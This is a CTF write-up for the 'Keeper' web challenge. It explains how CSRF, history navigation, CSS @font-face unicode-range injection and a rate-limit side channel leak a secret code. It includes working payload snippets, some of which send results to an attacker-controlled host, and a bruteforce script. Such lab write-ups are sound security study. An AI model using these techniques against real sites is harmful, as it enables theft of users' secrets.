Keeper

Points: 500 (Dynamic, 3 solves)

Description:

A simple client-side challenge for you. Enjoy 🎣

Given: Source code

TL;DR

Use history.goto and a POST request to be able to set up a page that includes arbitrary CSS and the secret code rendered on the screen. Using font-range, some animations and a cross-origin window, leak the code using the rate limiting on /get-secret as an oracle.

Analyzing the Service

There are 2 services running inside the docker container: a web app and a bot.

Web App

Only the web app is exposed and it consists of 4 endpoints:

  • / -> Index route - GET
  • /get-secret -> GET - Rate limited (1 request each 5 seconds)
  • /set-secret -> POST
  • /visit -> GET, POST - Rate limited (1 request each minute)

The /get-secret and /set-secret endpoints let users register and retrieve secrets that are identified by a username and a code that consists of 6 hexadecimal digits. This secret will then be tied to the user’s session that is identified by a same-site strict cookie.

The main frontend logic of the application is shared between the index.html and app.js files. The index template is rendered when the root endpoint is called. If the session cookie is set and it is associated with a secret, it displays the secret.

If not, the index.html template behaves in the following way:

  1. 6 input fields are shown to enter the code.
  2. After that, the code input elements are hidden and a form to input the username and the secret appears (all of this is done client side).
  3. The form is submitted to /set-secret and the browser is redirected to /.
  4. The secret is displayed.

When looking at index.html a little bit closer, we noticed that the secret parameter is rendered using the safe directive which allows for HTML injection.

However, the application is served with a very strict CSP:

@app.after_request
def add_security_headers(resp: Response):
    resp.headers["Content-Security-Policy"] = \
        "default-src 'self';"\
        "base-uri 'none';"\
        "frame-src 'none';"\
        "frame-ancestors 'none';"\
        "style-src 'self' 'unsafe-inline';"

    resp.headers["X-Content-Type-Options"] = "nosniff"
    resp.headers["Referrer-Policy"] = "no-referrer"

    resp.headers["Cross-Origin-Opener-Policy"] = "same-origin"
    resp.headers["Document-Policy"] = "force-load-at-top"
    resp.headers["X-Frame-Options"] = "SAMEORIGIN"
    resp.headers["Cache-Control"] = "no-store"

    return resp

This being the case, it becomes impossible (at least without an 0day) to execute JavaScript. But we can see that style-src is overly permissive letting us use any inlined style we want. Since the secret does not have any restrictions in terms of length and characters we can use, it becomes a very handy foothold for the rest of the challenge.

There are also a lot of protections enabled that made this challenge increasingly annoying but are not very relevant for our exploit.

Finally, the /visit endpoint will let us communicate with the bot.

Bot

The bot receives an arbitrary URL (as long as it starts with http/s) and opens a new page in an isolated browser session.

The bot then navigates to the index page, inputs a random code, then a random username and the flag, and submits the form.

If everything goes well, the username will now be returned to the user.

Finally, it will visit our URL in the same page as before and give us an hefty amount of time to run our exploit (70 seconds).

The Attack Chain

Going back in history

During our first analysis of the code, it was made very obvious that this will be a XSLeaks challenge. Our intuition also told us that we would need the secret code as it looked easier than obtaining the flag.

However, there was one question in our minds: where the hell is the code stored? This is one very tricky question to answer.

Since it is only inputted once and there are no useful CRUD operations applied to the secrets dictionary we could only think of one thing: it must be in the browser cache.

And indeed it was.

It turns out that by going back in history twice (with the history.goto API), we end up in the original page where the code was entered. By examining the value parameter of the input tags it showed our so desired code.

But this raised as many questions as it answered.

This became a very weird XSLeaks scenario where we cannot control what pages we want to load but instead we have to rely on a page where we seemingly have no control over anything.

We thought of using the window.opener property, but COOP is set to same-origin so no luck there.

This meant that we needed a way to put our CSS in the same page as the one the code was being rendered on.

CSRF time

An additional problem appeared in front of our eyes now that we needed to replace the secret in the original session. The /set-secret endpoint was designed to only allow one secret to be set per session cookie.

current_id = session["id"] = session.get("id", (username, code))

if secrets.get(current_id):
    return TextResponse("Secret already set")

There is no way to delete this cookie from the client.

After some time messing with a local exploit that would try to solve the problem, we noticed that we were serving both the app and the exploit via the localhost site.

When we noticed this, the answer seemed clear in our heads. Since the session cookie is same-site strict, it will not be sent in cross site requests.

This means that if the POST request originates from an auto submitting form in a cross-site origin, the request to /set-secret will not carry the cookie and will instead create a new session cookie that is associated with our payload.

This would overwrite the original session cookie and, if the history navigation takes place after this CSRF wizardry, it is possible to have a page that renders the secret code and contains our malicious CSS.

With this discovery in mind we started trying CSS injection payloads that abuse the attribute selectors to leak the code.

It turns out that there is a significant difference between setting the value of a input attribute via the value atribute in an HTML tag and it being set later via user interaction or via a JavaScript API, as a CSS selector like input[value^="0"] did not work.

We would then need a exploit that relies on the rendering of the code instead of the value attribute.

Font faces

It appears that CSS supports defining fonts for certain characters. This is extremely useful for the situation at hand, because it allows us to perform requests only if a certain character is present:

@font-face {
    font-family: "f0";
    src: url(https://attacker.com);
    unicode-range: U+30; /* character '0' */
}

#step-1 {
    font-family: f0;
}

In the above example, a request will be sent to https://attacker.com if, and only if, the character ‘0’ is present in the #step-1 element.

We can use this to extract the code that is visible on the page.

However, the CSP is unfortunately very strict, and does not allow the above request to be made, requiring the URL to be in the same origin.

Triggering the side channel

Fortunately for us, the /get-secret endpoint can be used as a side channel, since a request to it will leak whether that URL has been accessed in the last 5 seconds.

Initially, we tried accessing the /get-secret endpoint from different IP addresses and they seemed to share the rate-limit (perhaps due to a misconfigured Nginx). However, the bot accessed the page from localhost, so it was not possible to detect, from our machines, whether the request by the bot had been sent or not.

For this reason, we pivoted to having the bot check the side channel instead, which required further XSLeaks using link rel=prefetch from a separate tab. This element would load successfully if the page returned a 200 OK response, but would trigger an error event if the status code was >= 400, which was the case when it returned 429 Too Many Requests. This allows us to detect if the challenge page had performed the request to /get-secret in the previous 5 seconds or not.

async function testchar(c) {
  return new Promise(resolve => {
    tag = document.createElement("link");
    tag.setAttribute("href", `${CHALL}/get-secret?browser-${c}`); // char is included for debugging only
    tag.setAttribute("rel", "prefetch");
    tag.onload = () => resolve(false);
    tag.onerror = () => resolve(true);
    document.body.appendChild(tag);
  })
}

We can then send the result to a server we control:

let res = await testchar("0");
navigator.sendBeacon(`${SERVER}/char?0&${res}`);

Great, putting this together with the CSS allows us to extract whether the digit 0 is present in the code in any position.

Let’s recap:

  1. The bot visits a page we control;
  2. On that page, we open a new one that we use to perform CSS injection and another for performing the requests to /get-secret for reading the side channel;
  3. We when go back on the initial tab using history.goto, reaching a page where the code is visible and where we have CSS injection;
  4. That tab sends a request to /get-secret if the code contains the digit ‘0’;
  5. On the other tab that we opened (that has a separate origin), we perform the aforementioned maneuver to detect whether a request to /get-secret had been made;
  6. Finally, we send back a request to a server we control indicating the result from the previous step.

However, this only allows us to extract a single character. We are going to need a lot more information in order to get the flag.

Animations

One way to extend this solution to multiple characters would be to create multiple fonts, as such:

@font-face {
    font-family: "f0";
    src: url(/get-secret?0);
    unicode-range: U+30; /* character '0' */
}

@font-face {
    font-family: "f1";
    src: url(/get-secret?1);
    unicode-range: U+31; /* character '1' */
}

@font-face {
    font-family: "f2";
    src: url(/get-secret?2);
    unicode-range: U+32; /* character '2' */
}

/* ... */

However, we can’t send the requests all at the same time, that would defeat the purpose of the side channel. We need a way to “sleep” between requests.

Cue CSS animations! We can use them to change the font at a predictable interval.

Given that we only have 70 seconds and we must wait at least 5 seconds between requests (we ended up doing an interval of 6 seconds), it isn’t enough to go through all 16 characters. For this reason, we settled for detecting whether the code contained the digits 0-9 in any position, and then bruteforcing the order later.

@keyframes fontChange {
    0% { font-family: sans-serif; }
    10% { font-family: f0, sans-serif; }
    20% { font-family: f1, sans-serif; }
    30% { font-family: f2, sans-serif; }
    40% { font-family: f3, sans-serif; }
    50% { font-family: f4, sans-serif; }
    60% { font-family: f5, sans-serif; }
    70% { font-family: f6, sans-serif; }
    80% { font-family: f7, sans-serif; }
    90% { font-family: f8, sans-serif; }
    100% { font-family: f9, sans-serif; }
}

#step-1 {
    animation-name: fontChange;
    animation-duration: 60s; /* 6 seconds per font */
    animation-iteration-count: 1;
}

We left the first keyframe of the animation as sans-serif because, in our experience, the timing for that keyframe’s request was unreliable and made it more difficult to sync up with the other tab making the requests.

Another thing we noticed is that the animations only run if the tab is active, even in headless mode. To fix this, we opened the other tabs as a popup, allowing the challenge tab to remain active.

As mentioned, the timing is very important: the request to /get-secret from the attacker-controlled page must occur no later than a second after the one sent from CSS (if any), because if the code does not contain a given character, that request would block the endpoint for 5 seconds and ruin the side-channel. In other words, there must be at least 5 seconds between the request sent from the attacker and the next character’s request sent from CSS.

To help sync this up, we used a local copy of the challenge and looked at the logs to check the timings of the requests and add delays accordingly.

Finally, to reduce the amount of possible codes to brute force, we ran the exploit multiple times until we got a code with 6 non-repeating digits 0-9, since a repeating digit would increase the count of codes to test later.

Bruteforcing the order

Now armed with the 6 digits of the code, we wrote a script to go through all the possible permutations of the code and try it by sending a request to /get-secret. There are \(6! = 720\) possible permutations, and due to the 5 second rate-limit, it takes up to 1 hour to complete all requests until the flag is found.

for lst in itertools.permutations(DIGITS):
    code = "".join(lst)
    print("Trying code:", code)

    res = s.get("/get-secret", params={"code": code, "username": USERNAME})
    assert res.status_code == 200
    if "secret" in res.text:
        print(res.text)
        break
    time.sleep(5)

After about 35 minutes, with only a dozen minutes remaining until the end of the CTF, the script prints the flag!

Another thing we had to keep in mind was the challenge instance timeout. By default, the spawned instance had an extendable lifetime of just 5 minutes, so we had to keep pressing the button on CTFd to renew the instance in order to allow the bruteforcing to keep going.

Conclusion

It took us a lot of time to get everything together and to get around various roadblocks we found along the way. We ended up starting the bruteforce script less than 1 hour until the end of the CTF, which risked it not finishing, but everything worked out in the end.

Additionally, we talked with the challenge author and found out this was not the intended solution, so we are proud to have found another way.

Full Exploit

exploit.html bruteforce.py